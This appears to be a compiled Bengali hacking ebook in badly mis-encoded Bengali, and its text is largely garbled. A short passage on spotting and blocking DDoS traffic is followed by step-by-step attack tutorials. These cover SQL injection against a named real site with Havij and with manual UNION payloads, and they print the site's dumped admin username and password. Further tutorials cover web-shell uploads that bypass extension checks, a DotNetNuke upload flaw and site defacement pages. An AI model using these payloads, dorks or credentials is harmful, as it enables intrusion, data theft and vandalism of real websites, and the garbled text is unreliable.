ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 34: Hacking Bangla eBook

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

